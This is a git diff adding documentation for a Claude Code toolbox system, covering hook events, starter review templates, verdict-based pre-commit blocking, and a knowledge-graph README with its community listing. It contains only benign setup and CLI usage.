0000000000000000000000000000000000000000..26b2d5ff5cc503335d76a0e3b315db15e6226747 --- /dev/null +++ b/docs/toolbox/hooks.md @@ -0,0 +1,80 @@ +# Hooks & triggers + +[`src/toolbox_hooks.py`](https://github.com/stevesolun/ctx/blob/main/src/toolbox_hooks.py) +is the bridge between Claude Code's hook system and the toolbox runner. +It listens for four events plus one explicit slash command. + +## Event model + +| Event | Fires on | Typical toolbox | +|---|---|---| +| `session-start` | New Claude Code session | Skill preloaders, intent suggestions | +| `file-save` | File written to disk | Linters, quick reviewers | +| `pre-commit` | `git commit` before write | Guardrail councils (`ship-it`, `security-sweep`) | +| `session-end` | Session closes | Digest, behavior miner, retro | +| `slash:/toolbox run ` | User-initiated | Anything | + +Each trigger in a toolbox's `trigger` map enables that toolbox on that +event. Events with no matching toolbox emit nothing. + +## Emission format + +One JSON line per matching toolbox, on stdout: + +```jsonc +{ + "trigger": "pre-commit", + "toolbox": "ship-it", + "plan_file": "/Users/steve/.claude/toolbox-runs/abc123.json", + "agents": ["code-reviewer", "security-reviewer", "architect-review"], + "files": ["src/toolbox_verdict.py", "src/tests/test_toolbox_verdict.py"], + "source": "pre-commit", + "guardrail": true +} +``` + +Claude Code's hook handler reads these lines and dispatches each agent +against the listed files. + +## Exit codes + +| Code | Meaning | +|---|---| +| `0` | Success; zero or more toolboxes emitted | +| `1` | Unknown trigger or config error | +| `2` | `pre-commit` + `guardrail=true` + verdict level is HIGH/CRITICAL | + +The `2` exit from `pre-commit` is what actually blocks `git commit`. + +## Installation + +`pip install claude-ctx` exposes `ctx-toolbox` on PATH; wire it into +`.githooks/pre-commit` directly: + +```bash +# .githooks/pre-commit +#!/bin/sh +ctx-toolbox run --event pre-commit +``` + +Then point git at the directory once: `git config core.hooksPath .githooks`. + +Then `git config core.hooksPath .githooks`. + +## file-save path matching + +`file-save` triggers honor `scope.files` globs. Without a `--path` arg +the event matches nothing (there's no file to test). This is intentional: +file-save toolboxes must be path-scoped. + +## session-end digest + +On `session-end`, the hook also calls +[`behavior_miner.build_profile`](behavior-miner.md), saves the updated +profile, and prints any new suggestions. This is informational only — +the digest never blocks and never changes the return code. + +## Reference + +- [Council runner](council-runner.md) — how plans are built. +- [Verdicts & guardrails](verdicts.md) — how blocking is decided. diff --git a/docs/toolbox/index.md b/docs/toolbox/index.md new file mode 100644 index 0000000000000000000000000000000000000000..550efddb8d7ea33905192f2af2cfa5294d672fe9 --- /dev/null +++ b/docs/toolbox/index.md @@ -0,0 +1,75 @@ +# Toolbox overview + +A **toolbox** is a named bundle of skills and agents that runs at a defined +moment in your workflow: at session start, on file save, before a commit, at +session end, or when you invoke its slash command. + +Toolboxes let you declare the *council* you want reviewing your work +without hand-loading skills each session. + +## Lifecycle + +```mermaid +flowchart LR + A[Declare toolbox] --> B[Trigger fires] + B --> C[Council runner
builds plan] + C --> D[Agents run
scoped to plan.files] + D --> E[Findings recorded
as Verdict] + E -->|HIGH / CRITICAL| F[Guardrail blocks
pre-commit] + E -->|LOW / MEDIUM| G[Logged,
session continues] +``` + +Each arrow is a concrete module: + +- **Declare**: [`toolbox_config.py`](https://github.com/stevesolun/ctx/blob/main/src/toolbox_config.py) + loads `~/.claude/toolboxes.json` and merges per-repo `.toolbox.yaml` on top. +- **Trigger**: [`toolbox_hooks.py`](https://github.com/stevesolun/ctx/blob/main/src/toolbox_hooks.py) + listens for `session-start`, `file-save`, `pre-commit`, `session-end`, and + the `/toolbox run` slash command. +- **Plan**: [`council_runner.py`](https://github.com/stevesolun/ctx/blob/main/src/council_runner.py) + assembles a `RunPlan` honoring scope, dedup, and graph-blast expansion. +- **Verdict**: [`toolbox_verdict.py`](https://github.com/stevesolun/ctx/blob/main/src/toolbox_verdict.py) + merges findings by id and escalates level to max(findings). + +## Minimal declaration + +```yaml +# .toolbox.yaml (per-repo) +version: 1 +toolboxes: + review: + description: "Post-feature code review" + post: + - code-reviewer + - security-reviewer + scope: + analysis: diff + trigger: + slash: true + pre_commit: true + guardrail: true +``` + +Run it manually: + +```bash +ctx-toolbox run review +``` + +Or let the `pre-commit` hook fire it automatically — see +[Hooks & triggers](hooks.md). + +## Scope modes + +| Mode | What gets reviewed | Best for | +|---|---|---| +| `diff` | Files in the current uncommitted diff | Pre-commit, real-time review | +| `dynamic` | Diff + graph blast radius (imports of modified files) | Refactor safety | +| `full` | Entire repo | Security sweeps, docs audits | + +## Related + +- [Configuration schema](configuration.md) — full field reference. +- [Starter toolboxes](starters.md) — 5 shipping presets. +- [Intent interview](intent-interview.md) — `toolbox init` walkthrough. +- [Verdicts & guardrails](verdicts.md) — how blocking works. diff --git a/docs/toolbox/intent-interview.md b/docs/toolbox/intent-interview.md new file mode 100644 index 0000000000000000000000000000000000000000..f99becce2b917b77d3441d3edbdb729e600b50f2 --- /dev/null +++ b/docs/toolbox/intent-interview.md @@ -0,0 +1,94 @@ +# Intent interview + +[`src/intent_interview.py`](https://github.com/stevesolun/ctx/blob/main/src/intent_interview.py) +bootstraps your toolbox set via a short, skippable interview. + +The slash command `/toolbox init` is a thin wrapper; see +[`.claude/commands/toolbox-init.md`](https://github.com/stevesolun/ctx/blob/main/.claude/commands/toolbox-init.md). + +## Flow + +1. **Detect repo state** — is this a git repo? Any commits? What languages? +2. **Load behavior profile** — read `~/.claude/user-profile.json` for any + mined suggestions. +3. **Ask up to three questions**: + - Which starter toolboxes to activate. + - Which miner suggestions to accept (if any). + - Default analysis mode for new toolboxes. +4. **Persist** — write chosen toolboxes to `~/.claude/toolboxes.json` + (only when `--apply` is passed). + +Any prompt can be skipped with the word `skip`. + +## Repo state detection + +```python +@dataclass(frozen=True) +class RepoState: + is_git: bool + commit_count: int + languages: dict[str, int] # extension → file count + markers: dict[str, str] # marker file → language + has_toolbox_config: bool + + @property + def is_blank(self) -> bool: + # True when the repo has effectively nothing to analyze yet. + return not self.is_git or self.commit_count == 0 or ( + not self.languages and not self.markers + ) +``` + +Language scoring uses both extensions (`.py`, `.ts`, …) and marker files +(`pyproject.toml`, `Cargo.toml`, `Dockerfile`, …). Marker files bump the +score by 5 to reflect that they declare intent more strongly than a +stray extension match. + +## Usage + +```bash +# Default: interactive, dry-run (no write) +python -m intent_interview init + +# Detect state only +python -m intent_interview detect + +# Preset flows (no prompts) +python -m intent_interview init --preset blank --apply +python -m intent_interview init --preset existing --apply +python -m intent_interview init --preset docs-heavy --apply +python -m intent_interview init --preset security-first --apply + +# Fully structured (CI / scripted setup) +python -m intent_interview init \ + --non-interactive \ + --starters ship-it,security-sweep \ + --suggestions 1,2 \ + --analysis dynamic \ + --apply +``` + +## Presets + +| Preset | Starters | Default scope | +|---|---|---| +| `blank` | ship-it, security-sweep, fresh-repo-init | dynamic | +| `existing` | ship-it, refactor-safety | dynamic | +| `docs-heavy` | docs-review | diff | +| `security-first` | security-sweep | full | + +## Skip semantics + +- Typing `skip` at any prompt short-circuits the whole interview: no + starters activated, no suggestions accepted, analysis mode unchanged. +- `--skip` on the CLI is the non-interactive equivalent. + +## Exit codes + +- `0` — success; JSON payload printed on stdout. +- non-zero — unrecoverable error (unknown preset, malformed args). + +## Related + +- [Starter toolboxes](starters.md) — the five bundles the interview can activate. +- [Behavior miner](behavior-miner.md) — source of the suggestions the interview offers. diff --git a/docs/toolbox/starters.md b/docs/toolbox/starters.md new file mode 100644 index 0000000000000000000000000000000000000000..d43728ba096ec19061f1354be4685ca4148fa276 --- /dev/null +++ b/docs/toolbox/starters.md @@ -0,0 +1,96 @@ +# Starter toolboxes + +Five presets ship in `docs/toolbox/templates/`. `toolbox init` activates +them into `~/.claude/toolboxes.json`; you can then override any field per-repo +in `.toolbox.yaml`. + +## ship-it + +> **Professional council of 7 experts for end-of-feature review.** + +Runs `code-reviewer`, `security-reviewer`, `architect-review`, +`test-automator`, `performance-engineer`, `accessibility-tester`, and +`docs-lookup` against the diff + graph blast radius. + +- **Triggers**: slash, pre-commit, session-end. +- **Scope**: `dynamic` — diff plus imports of changed modules. +- **Budget**: 200 k tokens / 420 seconds. +- **Guardrail**: on (HIGH/CRITICAL blocks pre-commit). + +Best for: shipping a feature branch. The council covers correctness, +security, architecture, testing, performance, accessibility, and docs in +one pass. + +## security-sweep + +> **Full-repo security audit with blocking guardrail on HIGH findings.** + +Runs `security-reviewer`, `backend-security-coder`, `frontend-security-coder`, +and `compliance-auditor` against the entire repo. + +- **Triggers**: slash, pre-commit. +- **Scope**: `full` — every tracked file. +- **Budget**: 300 k tokens / 600 seconds. +- **Guardrail**: on. + +Best for: periodic audits, pre-release sweeps, compliance checkpoints. +Expensive; not a per-commit hook. + +## refactor-safety + +> **Graph-informed refactor review with regression and dead-code checks.** + +Runs `architect-review`, `refactor-cleaner`, `test-automator`, and +`code-reviewer` against diff + graph blast. + +- **Triggers**: slash, pre-commit. +- **Scope**: `dynamic`. +- **Budget**: 120 k tokens / 300 seconds. +- **Guardrail**: off — flags issues without blocking. + +Best for: mid-refactor checkpoints. Catches orphaned code, downstream +breakage, missing test updates. + +## docs-review + +> **Documentation pass: accuracy, completeness, clarity, and API parity.** + +Runs `docs-lookup`, `technical-writer`, and `code-reviewer` against docs +diffs. + +- **Triggers**: slash, pre-commit. +- **Scope**: `diff`. +- **Budget**: 60 k tokens / 180 seconds. +- **Guardrail**: off. + +Best for: docs-heavy branches and README updates. + +## fresh-repo-init + +> **New-repo bootstrap: run the intent interview, scaffold plan, pick initial toolbox.** + +Invokes `intent_interview` in interactive mode, then activates whichever +starters the user selects. + +- **Triggers**: slash only. +- **Scope**: `full` (fresh scan of a new repo). +- **Budget**: small — this bundle is just an orchestrator. + +Best for: `git init` followed by `toolbox init`. + +## Activation + +```bash +# Pick starters interactively +python -m intent_interview init + +# Non-interactive preset +python -m intent_interview init --preset existing --apply +python -m intent_interview init --preset docs-heavy --apply +python -m intent_interview init --preset security-first --apply + +# Activate a specific starter directly +ctx-toolbox activate ship-it +``` + +See [Intent interview](intent-interview.md) for the full flow. diff --git a/docs/toolbox/templates/docs-review.json b/docs/toolbox/templates/docs-review.json new file mode 100644 index 0000000000000000000000000000000000000000..35684ce301d30ba0d07e9d57b892fc5d38b2e50c --- /dev/null +++ b/docs/toolbox/templates/docs-review.json @@ -0,0 +1,30 @@ +{ + "description": "Documentation pass: accuracy, completeness, clarity, and API parity", + "pre": ["docs-lookup"], + "post": [ + "technical-writer", + "docs-architect", + "api-documenter", + "tutorial-engineer" + ], + "scope": { + "projects": ["*"], + "signals": ["documentation"], + "analysis": "diff" + }, + "trigger": { + "slash": true, + "pre_commit": false, + "session_end": false, + "file_save": "**/*.md" + }, + "budget": { + "max_tokens": 120000, + "max_seconds": 240 + }, + "dedup": { + "window_seconds": 300, + "policy": "cached" + }, + "guardrail": false +} diff --git a/docs/toolbox/templates/fresh-repo-init.json b/docs/toolbox/templates/fresh-repo-init.json new file mode 100644 index 0000000000000000000000000000000000000000..0486aac5af00d044a62415c280a008f3875cc284 --- /dev/null +++ b/docs/toolbox/templates/fresh-repo-init.json @@ -0,0 +1,29 @@ +{ + "description": "New-repo bootstrap: run the intent interview, scaffold plan, pick initial toolbox", + "pre": [], + "post": [ + "planner", + "architect", + "tdd-guide" + ], + "scope": { + "projects": ["*"], + "signals": [], + "analysis": "diff" + }, + "trigger": { + "slash": true, + "pre_commit": false, + "session_end": false, + "file_save": null + }, + "budget": { + "max_tokens": 100000, + "max_seconds": 300 + }, + "dedup": { + "window_seconds": 0, + "policy": "fresh" + }, + "guardrail": false +} diff --git a/docs/toolbox/templates/refactor-safety.json b/docs/toolbox/templates/refactor-safety.json new file mode 100644 index 0000000000000000000000000000000000000000..c2be0157bf5b980b3b31392b847352d0f835e94a --- /dev/null +++ b/docs/toolbox/templates/refactor-safety.json @@ -0,0 +1,31 @@ +{ + "description": "Graph-informed refactor review with regression and dead-code checks", + "pre": ["architect-review", "refactor-cleaner"], + "post": [ + "architect-review", + "refactor-cleaner", + "code-reviewer", + "test-automator", + "dependency-manager" + ], + "scope": { + "projects": ["*"], + "signals": [], + "analysis": "graph-blast" + }, + "trigger": { + "slash": true, + "pre_commit": false, + "session_end": true, + "file_save": null + }, + "budget": { + "max_tokens": 180000, + "max_seconds": 360 + }, + "dedup": { + "window_seconds": 900, + "policy": "cached" + }, + "guardrail": false +} diff --git a/docs/toolbox/templates/security-sweep.json b/docs/toolbox/templates/security-sweep.json new file mode 100644 index 0000000000000000000000000000000000000000..24bfe12187a81b7a7ff6c48894cf4726fdf83005 --- /dev/null +++ b/docs/toolbox/templates/security-sweep.json @@ -0,0 +1,31 @@ +{ + "description": "Full-repo security audit with blocking guardrail on HIGH findings", + "pre": [], + "post": [ + "security-reviewer", + "security-auditor", + "penetration-tester", + "compliance-auditor", + "threat-detection-engineer" + ], + "scope": { + "projects": ["*"], + "signals": ["security", "auth", "crypto"], + "analysis": "full" + }, + "trigger": { + "slash": true, + "pre_commit": true, + "session_end": false, + "file_save": "**/auth/**" + }, + "budget": { + "max_tokens": 300000, + "max_seconds": 600 + }, + "dedup": { + "window_seconds": 0, + "policy": "fresh" + }, + "guardrail": true +} diff --git a/docs/toolbox/templates/ship-it.json b/docs/toolbox/templates/ship-it.json new file mode 100644 index 0000000000000000000000000000000000000000..924ef774011e9c407793ca33b64184d21f1965e4 --- /dev/null +++ b/docs/toolbox/templates/ship-it.json @@ -0,0 +1,33 @@ +{ + "description": "Professional council of 7 experts for end-of-feature review", + "pre": [], + "post": [ + "code-reviewer", + "security-reviewer", + "architect-review", + "test-automator", + "performance-engineer", + "accessibility-tester", + "docs-lookup" + ], + "scope": { + "projects": ["*"], + "signals": ["python", "typescript", "rust", "go", "java"], + "analysis": "dynamic" + }, + "trigger": { + "slash": true, + "pre_commit": true, + "session_end": true, + "file_save": null + }, + "budget": { + "max_tokens": 200000, + "max_seconds": 420 + }, + "dedup": { + "window_seconds": 600, + "policy": "fresh" + }, + "guardrail": false +} diff --git a/docs/toolbox/verdicts.md b/docs/toolbox/verdicts.md new file mode 100644 index 0000000000000000000000000000000000000000..886fbe8fe9e24d68e9698ea86ef145882277ea24 --- /dev/null +++ b/docs/toolbox/verdicts.md @@ -0,0 +1,142 @@ +# Verdicts & guardrails + +[`src/toolbox_verdict.py`](https://github.com/stevesolun/ctx/blob/main/src/toolbox_verdict.py) +owns the council's finding ledger. A `RunPlan` says *what should run*; a +`Verdict` says *what was found* and, if the level escalates high enough, +blocks `git commit`. + +## Data model + +```python +@dataclass(frozen=True) +class Evidence: + file: str + line: int | None = None + note: str = "" + +@dataclass(frozen=True) +class Finding: + id: str # stable, hash(level|agent|title) + level: str # "LOW" | "MEDIUM" | "HIGH" | "CRITICAL" + title: str + agent: str = "" + evidence: tuple[Evidence, ...] = () + rationale: str = "" + created_at: float = 0.0 + +@dataclass(frozen=True) +class Verdict: + plan_hash: str + level: str # max(findings) + summary: str + findings: tuple[Finding, ...] + created_at: float + updated_at: float +``` + +Level escalation is always `max(findings)`. Clearing a finding +re-escalates from whatever remains. + +## Storage + +``` +~/.claude/toolbox-runs/ + abc123.json # the RunPlan + abc123.verdict.json # the Verdict (sibling) +``` + +Same directory, same hash. A single `history` sweep covers both. + +## Merge-by-id + +Agents can refine a previous finding by recording with the same id. +The new record replaces the old one (rationale, evidence, level all +update). This is how a `security-reviewer` can start with a MEDIUM +finding, then bump it to CRITICAL after deeper analysis — without +leaving duplicate entries. + +The default id is `sha256(level|agent|title)[:12]`, so the same +agent recording the same titled issue naturally dedups. Pass +`--id custom-value` if you need a different stable key. + +## Blocking + +`toolbox_hooks` reads `.verdict.json` after a `pre-commit` +council runs. If `level in {"HIGH", "CRITICAL"}` and the toolbox has +`guardrail: true`, it returns exit `2`, which stops the commit. + +`LOW` and `MEDIUM` findings are logged but never block. + +## CLI + +```bash +# Record a finding +python -m toolbox_verdict record \ + --plan-hash abc123 \ + --level HIGH \ + --title "SQL injection in users.py" \ + --agent security-reviewer \ + --evidence src/users.py:42:unescaped input \ + --rationale "req.form values flow into raw SQL" + +# Show the verdict +python -m toolbox_verdict show --plan-hash abc123 + +# JSON payload for piping +python -m toolbox_verdict show --plan-hash abc123 --json + +# Recent verdicts (retrospective) +python -m toolbox_verdict retro --limit 10 + +# Only HIGH/CRITICAL +python -m toolbox_verdict retro --min-level HIGH + +# Pretty-print the evidence chain +python -m toolbox_verdict explain --plan-hash abc123 + +# Remove a single finding +python -m toolbox_verdict clear --plan-hash abc123 --id +``` + +## Evidence parsing + +`parse_evidence()` accepts three forms, parsed right-to-left so Windows +drive-letter paths don't trip the delimiter: + +- `src/foo.py` → `Evidence(file="src/foo.py")` +- `src/foo.py:42` → `Evidence(file="src/foo.py", line=42)` +- `src/foo.py:42:race on counter` → `Evidence(file=..., line=42, note=...)` +- `C:/Users/me/foo.py:17` → `Evidence(file="C:/Users/me/foo.py", line=17)` + +Empty specs yield an `Evidence` with an empty file and are filtered out +at `build_finding()` time. + +## Explain output + +``` +[verdict] plan=abc123 level=HIGH 2 finding(s): 1 high, 1 low + - [HIGH] SQL injection in users.py (agent: security-reviewer) + why: req.form values flow into raw SQL + evidence: src/users.py:42 — unescaped input + - [LOW] style: trailing whitespace (agent: code-reviewer) + evidence: src/users.py:57 +``` + +Findings render in severity-desc order so the blocking issue always +appears first. + +## Retrospective + +`recent_verdicts()` returns verdicts sorted by `updated_at` desc: + +``` +[retro] 3 recent verdict(s): + - plan-crit CRITICAL BLOCK 1 finding(s): 1 critical + - plan-hi HIGH BLOCK 2 finding(s): 1 high, 1 low + - plan-ok LOW ok 1 finding(s): 1 low +``` + +## Related + +- [Hooks & triggers](hooks.md) — where the `2` exit blocks the commit. +- [Council runner](council-runner.md) — where the plan hash comes from. diff --git a/graph/README.md b/graph/README.md new file mode 100644 index 0000000000000000000000000000000000000000..b33a612c80dce38f413ed8d7f83af6212c56c41b --- /dev/null +++ b/graph/README.md @@ -0,0 +1,158 @@ +# Knowledge Graph + +Pre-built knowledge graph of **104,066 nodes** and **1,031,011 edges**. The curated core is **13,220 nodes** (1,969 curated skills + 464 agents + 10,786 MCP servers + 1 cataloged harness) with **963,492 edges** across **22 communities** (Louvain). The Skills.sh catalog adds **90,846 first-class remote-cataloged `skill` nodes**, **90,846 skill pages under `entities/skills/skills-sh-*.md`**, and **67,519 sparse metadata edges** to curated entities. Curated-core edges are blended from three signals: semantic cosine (210,248 edges, default weight 0.70), explicit `tags:` overlap (597,017 edges, weight 0.15), and slug-token overlap (314,945 edges, weight 0.15). The current Skills.sh pass is first-class by node type, but not yet full-body semantic: Skills.sh edges still have `semantic_sim=0.0` until the hydration + full regraphify phase fetches upstream SKILL.md bodies. Rebuild the curated core with `python -m ctx.core.wiki.wiki_graphify`, add harnesses with `ctx-harness-add`, then refresh the Skills.sh catalog with `python src/import_skills_sh_catalog.py --from-api-union --update-wiki-tar`. + +> **2026-04-29.** Added the cataloged [`text-to-cad`](https://github.com/earthtojake/text-to-cad) harness as a first-class `harness` node with an entity page under `entities/harnesses/text-to-cad.md`. Node count: 104,065 -> **104,066**. Edge count: 1,030,831 -> **1,031,011**. This single-harness pass adds 224 explainable edges: 180 curated-core edges plus 44 remote-cataloged Skills.sh edges. It does not add full-body Skills.sh semantic edges; those require the later hydration + graphify pass. + +> **2026-04-29.** Added the curated `find-skills` workflow and mirrored it into `converted/find-skills/SKILL.md`, so fresh clones can install it from the shipped wiki. Curated node count: 13,218 -> **13,219**. Curated edge count: 963,068 -> **963,312**. The tarball now also carries Skills.sh catalog coverage as **90,846 remote-cataloged `skill` nodes**, matching skill pages under `entities/skills/skills-sh-*.md`, and `external-catalogs/skills-sh/catalog.json`. + +> **2026-04-27.** Two imports landed this day: +> - **[mattpocock/skills](https://github.com/mattpocock/skills)** — 21 opinionated behavior skills (TDD, domain-model, ubiquitous-language, github-triage, plus 17 more) under the `mattpocock-` prefix. +> - **[designdotmd.directory](https://designdotmd.directory)** — 156 DESIGN.md visual-identity files (color tokens, typography, spacing, component tokens, rationale) under the `designdotmd-` prefix. These are *reference designs* (data the agent reads when asked to build a UI), not behavior skills. +> +> Node count: 13,041 → **13,218** (+177 = 21 mattpocock + 156 designdotmd). Edge count: 847,207 → **963,068** (+106,702 from designdotmd-driven tag/token overlap with the existing catalog). + +> **Bugs fixed in this release:** +> +> - *Patch-path edge silence.* `wiki_graphify`'s incremental path used to keep stale edges when the semantic backend went from unavailable → available between runs (no node content changed, so the affected-set was empty, so freshly-computed semantic pairs never landed). Fixed: the build now detects "prior graph has 0 semantic edges but current run computed semantic pairs" and forces a full rebuild. Regression test added in `test_wiki_graphify_density.py`. +> - *CNM community-detection hang.* The legacy CNM (greedy modularity) algorithm took 50+ minutes on the 13K-node graph stuck in `_siftup`. Fixed: switched default to **Louvain** (`networkx.algorithms.community.louvain_communities`) with deterministic seed=42. CNM still available behind `CTX_GRAPH_COMMUNITY=cnm` for legacy parity. + +> **Edge-count history.** v0.5.x shipped a stale `graph.json` with 642K edges from a build path that no longer existed; the live rebuild silently produced only 861 edges because `DENSE_TAG_THRESHOLD=20` dropped every tag with more than 20 nodes. v0.6.0 fixed the threshold + added slug-token pseudo-tags → 454K-edge graph. v0.7 ingested 10,786 MCP servers from pulsemcp (93% enriched with github_url + stars), added sentence-embedding semantic edges with a configurable `build_floor=0.50` / `min_cosine=0.80` split, wired the alive-loop cumulative-threshold trigger, and shipped install/uninstall CLIs for all three entity types → 847K edges. The curated-core rebuild adds 21 mattpocock skills + 156 designdotmd designs, fixes the patch-path bug, and switches to Louvain → **963K curated edges**. The current Skills.sh remote-cataloged pass adds 67,519 sparse metadata edges, and the `text-to-cad` harness pass brings the tarball to **1,031,011 total edges**; the next hydration pass must fetch SKILL.md bodies and run the normal semantic graph builder across those nodes. + +## Files + +| File | Size | Contents | +|------|------|----------| +| `wiki-graph.tar.gz` | ~46 MB | **Full wiki** - entity cards, 1,773 converted skill bodies, 430 mirrored agent bodies, 104K-node knowledge graph, concept pages, catalog, one cataloged harness, and first-class remote-cataloged Skills.sh skill pages | +| `skills-sh-catalog.json.gz` | ~4.1 MB | Compressed Skills.sh catalog (90,846 observed entries, install commands, detail URLs, inferred tags, overlap metadata) | +| `communities.json` | ~500 KB | 22 detected communities (Louvain) with labels + member lists | +| `viz-overview.html` / `.png` | — | Plotly-rendered overview of the full graph | +| `viz-python.html` | — | Python-skills sub-view | +| `viz-security.html` / `.png` | — | Security-skills sub-view | +| `viz-ai-agents.html` | — | AI agents sub-view | +| `sample-top60.html` | — | Top-60-by-degree nodes, interactive | + +### What's inside `wiki-graph.tar.gz` + +- `entities/skills/` - **92,815** skill entity pages: 1,969 curated ctx skills plus 90,846 remote-cataloged Skills.sh pages under the `skills-sh-` prefix +- `entities/agents/` — **464** agent entity pages +- `entities/mcp-servers//` — **10,786** MCP entity pages (sharded by first-char to keep dirs scannable) +- `entities/harnesses/` - **1** harness entity page (`text-to-cad`) +- `concepts/` - community concept pages generated from the current Louvain labels +- `converted/` - **1,773** skill bodies ready for `ctx-skill-install`, including `converted/find-skills/SKILL.md` +- `converted-agents/` — **430** agent bodies ready for `ctx-agent-install` +- `graphify-out/graph.json` - full knowledge graph (104,066 nodes, 1,031,011 edges), including the curated core, cataloged harnesses, and remote-cataloged Skills.sh skill nodes +- `graphify-out/communities.json` - community detection results (22 communities, Louvain; top 5 cover 62.2% of nodes) +- `external-catalogs/skills-sh/catalog.json` — Skills.sh catalog (90,846 observed entries; site reported 90,991 during the clean refresh), including graph node IDs, entity paths, install commands, duplicate hints, and quality signals +- `external-catalogs/skills-sh/summary.json` and `README.md` — fetch/coverage/overlap metadata for the catalog +- `catalog.md` — bulk listing of skills / agents / MCPs +- `SCHEMA.md`, `index.md`, `log.md` — wiki infrastructure +- `.obsidian/` — Obsidian vault config, so the extracted tree opens as a graph directly in Obsidian + +Excluded to keep the tarball under GitHub's 100MB file limit (all regenerable on first local run): `raw/` (pulsemcp HTML cache, ~700MB), `.embedding-cache/` (sentence-transformer vectors, ~66MB), `.ingest-checkpoint/`, `.enrich-checkpoint/`, `graphify-out/graph-delta.json`. + +## Usage + +### Extract the wiki + +```bash +# Extract to ~/.claude/skill-wiki/ +mkdir -p ~/.claude/skill-wiki +tar xzf graph/wiki-graph.tar.gz -C ~/.claude/skill-wiki/ +``` + +> **Windows / Git-Bash / MSYS:** pass `--force-local` so `tar` doesn't parse `c:` as a remote host: `tar --force-local xzf graph/wiki-graph.tar.gz -C ~/.claude/skill-wiki/`. + +This gives you: +- Every curated entity (skill / agent / MCP / harness) plus every remote-cataloged Skills.sh skill page browsable as frontmatter-rich markdown +- Installable content for every short and long skill + every agent (`ctx-skill-install`, `ctx-agent-install`) +- The full knowledge graph (`graphify-out/graph.json`) and community detection (`communities.json`) +- An Obsidian vault — open the extracted dir in Obsidian and the graph view renders directly + +### Load the graph in Python + +```python +import json +from pathlib import Path +from networkx.readwrite import node_link_graph + +raw = json.loads(Path("~/.claude/skill-wiki/graphify-out/graph.json").expanduser().read_text()) +# Auto-detect the NetworkX 2.x "links" vs 3.x "edges" schema. +# v0.6.x graphs used "links"; v0.7+ uses "edges". +edges_key = "links" if "links" in raw else "edges" +G = node_link_graph(raw, edges=edges_key) + +# 104,066 nodes, 1,031,011 edges +print(G.number_of_nodes(), G.number_of_edges()) + +# Find skills related to "fastapi" +fastapi = "skill:fastapi-pro" +neighbors = sorted(G.neighbors(fastapi), + key=lambda n: G[fastapi][n]["weight"], reverse=True)[:10] +for n in neighbors: + print(f" {G.nodes[n]['label']} (weight={G[fastapi][n]['weight']})") +``` + +Or just use the dashboard: + +```bash +ctx-monitor serve +# then open http://127.0.0.1:8765/graph?slug=fastapi-pro +``` + +### Open in Obsidian + +The extracted wiki is an Obsidian-compatible vault. Entity pages use `[[wikilinks]]` for cross-references. Open the directory in Obsidian and use the graph view to explore visually. + +## Rebuild + +After adding new skills, agents, MCP entities, or harnesses (or changing the wiki): + +```bash +python src/wiki_batch_entities.py --all # regenerate entity cards +python -m ctx.core.wiki.wiki_graphify # incremental by default; --full to force +ctx-dedup-check --threshold 0.85 # pre-ship dedup gate (flag-only, NEVER drops) +ctx-tag-backfill # report-only by default; --apply to write +``` + +### Pre-ship gates + +Two gates run before the tarball is repackaged. Both are advisory: they +generate local review reports and never auto-modify the catalog. Those +reports are intentionally ignored by git because they can include local +filesystem paths and human review notes. + +**`ctx-dedup-check`** — finds entity pairs (skill ↔ skill, skill ↔ agent, +skill ↔ MCP, agent ↔ agent, agent ↔ MCP, MCP ↔ MCP) with cosine +similarity ≥ 0.85. Emits ignored local files under `graph/`, including a +top-results markdown report and gzipped JSON sidecar. Incremental: a +`dedup-state.json` next to the embeddings cache means follow-up runs only +re-check pairs involving entities whose content changed. Pairs that are +legitimately distinct can be added to +`.dedup-allowlist.txt` to suppress them in future reports without +silencing the underlying detection. + +**`ctx-tag-backfill`** — finds skills/agents with empty or missing +`tags:` frontmatter and proposes a backfill set drawn from the slug +tokens, body keywords, and the existing tag vocabulary. Report-only by +default; pass `--apply` to write. The generated markdown and JSON reports +are ignored by git. Backfills are additive: the gate never removes or +rewrites existing tags. + +Then re-archive. The pre-commit hook does this automatically when the wiki drifts beyond the tarball; the manual command below mirrors its exclusions: + +```bash +cd ~/.claude/skill-wiki +tar --force-local -czf /path/to/ctx/graph/wiki-graph.tar.gz \ + --exclude='.trash' \ + --exclude='__pycache__' \ + --exclude='./raw' \ + --exclude='./.embedding-cache' \ + --exclude='./.ingest-checkpoint' \ + --exclude='./.enrich-checkpoint' \ + --exclude='./graphify-out/graph-delta.json' \ + --exclude='./graphify-out/graph.pickle' \ + . +``` + +The exclusions keep the tarball under GitHub's 100MB file limit (raw/ alone is ~700MB of regenerable pulsemcp HTML). `--force-local` tells MSYS `tar` on Windows not to parse `c:` as a remote host. Non-Windows users can drop that flag. diff --git a/graph/communities.json b/graph/communities.json new file mode 100644 index 0000000000000000000000000000000000000000..c9761a2334d2d0b8dc2b8f2fac43d25ed171151e --- /dev/null +++ b/graph/communities.json @@ -0,0 +1,13335 @@ +{ + "communities": { + "0": { + "label": "Security + Testing + Agents", + "members": [ + "agent:01-scope", + "agent:02-plan", + "agent:03-build", + "agent:04-check", + "agent:05-deliver", + "agent:BUILDER", + "agent:EXECUTIVE-BRIEF", + "agent:QUICKSTART", + "agent:REVIEWER", + "agent:SKILL", + "agent:accessibility-expert", + "agent:accessibility-tester", + "agent:accounts-payable-agent", + "agent:ad-security-reviewer", + "agent:adr-writer", + "agent:agent-activation-prompts", + "agent:agent-installer", + "agent:agent-organizer", + "agent:agentic-identity-trust", + "agent:agents-orchestrator", + "agent:ai-engineer", + "agent:angular-architect", + "agent:api-designer", + "agent:api-documenter", + "agent:architect", + "agent:architect-review", + "agent:architect-reviewer", + "agent:architecture-analyzer", + "agent:architecture-reviewer", + "agent:arm-cortex-expert", + "agent:assemble-reviewer", + "agent:automation-governance-architect", + "agent:azure-infra-engineer", + "agent:backend-architect", + "agent:backend-architect-with-memory", + "agent:backend-developer", + "agent:backend-security-coder", + "agent:bash-pro", + "agent:blender-addon-engineer", + "agent:blockchain-developer", + "agent:blockchain-security-auditor", + "agent:build-engineer", + "agent:build-error-resolver", + "agent:business-analyst", + "agent:c-pro", + "agent:c4-code", + "agent:c4-component", + "agent:c4-container", + "agent:c4-context", + "agent:chaos-engineer", + "agent:check-gates", + "agent:chief-of-staff", + "agent:cli-developer", + "agent:cloud-architect", + "agent:code-reviewer", + "agent:competitive-analyst", + "agent:compliance-auditor", + "agent:conductor-validator", + "agent:content-marketer", + "agent:context-manager", + "agent:corporate-training-designer", + "agent:council-ada", + "agent:council-aristotle", + "agent:council-aurelius", + "agent:council-feynman", + "agent:council-kahneman", + "agent:council-karpathy", + "agent:council-lao-tzu", + "agent:council-machiavelli", + 